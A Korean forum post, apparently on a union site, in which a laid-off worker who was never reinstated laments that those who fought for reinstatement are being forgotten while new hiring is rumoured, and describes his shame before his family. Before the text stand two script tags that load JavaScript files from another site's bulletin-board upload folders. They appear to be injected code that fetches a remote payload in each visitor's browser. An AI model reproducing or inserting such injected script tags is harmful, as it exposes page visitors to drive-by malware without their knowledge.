<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 많은 동지들이 복직을 하여.... 현장에서 열심히 일하고 있다는걸 압니다.
하지만 열심히 투쟁을 하였음에도 복직을 하지 못한 미복직자들은 희생양이었단 말입니까?
제가 알기론 복직투쟁에 참여조차 하지 않은 분들도 복직을 많이 하신걸로 압니다.
복직투쟁을 하며 복직을 기다려온 사람들은 다 바보란 말입니까?
복직을 하지 못했어도.... 복직한 사람들을 축하해주는 사람들은 모두 바보입니까?
경찰의 과잉진압에 굴하지 않고 오로지 모든 정리해고자들의 복직만을 위하여 투쟁한 사람들은 바보란말입니까?
우리는 모두 희생양이었습니까?
자신은 찢겨지고 피가 터질 지언정 모두를 위한 일을 행했던 우리는 바보란말입니까?
한번도 복직하지 못한 자신을 부끄러워하지 않았던 이들은 모두 바보란 말입니까?
노력에 대한 댓가를 얻지 못한 미복직자들은 모두에게 그렇게 잊혀질 존재였단 말입니까?
저 자신또한 복직을 하지 못한 미복직자였건만..... 복직한 동지들을 시기하거나 질투했던 적은 단 한번도 없었습니다.
그런데 이런 내 자신이 한없이 미워지는건 왜 일까요?
복직 또한 중요하지만 미복직자들이 잊혀져 가는건 아닌가 하는 생각에 하루하루가 지옥같습니다.
신입사원을 받는다는 그런 소문에 내 자신이 이렇게 초라해 보일수가 없습니다.
복직은 분명히 있을거라는 그런 자신감 있는 말로 가족들을 안심시키던 내 자신이 이렇게 초라해보일수가 없습니다.
가족들앞에서 한없이 초라해 지는 내 모습이 너무나도 슬픕니다.
우리는 정말 희생양이며 바보였단말입니까?
가끔씩 들리는 노조홈피에서 상처받는 글들을 많이 봅니다.
과연 자신의 일이라면 그런 글을 올릴수 있을까 하는 생각도 해봅니다.
죽을만큼 힘든 미복직자들을 단 일초라도 잊지 말아주셨으면 합니다.
처자식 앞에서 한없이 초라해 지는 미복직자들의 고충을.....
조금이나마 알아주신다면........
정말....... 감사할겁니다.
지금도 상처받고 있을 나의 처자식들과 내 부모님들에게 죄송할따름입니다.
나는 과연 바보였을지.... 심한 자괴감이 듭니다.
신규채용도 좋지만.... 미복직자들의 문제를 해결한 다음의 문제일걸로 생각이 듭니다.
내 가족들앞에 나의 존재를 자신있게 내새울 그날이 기다려질 따름입니다.
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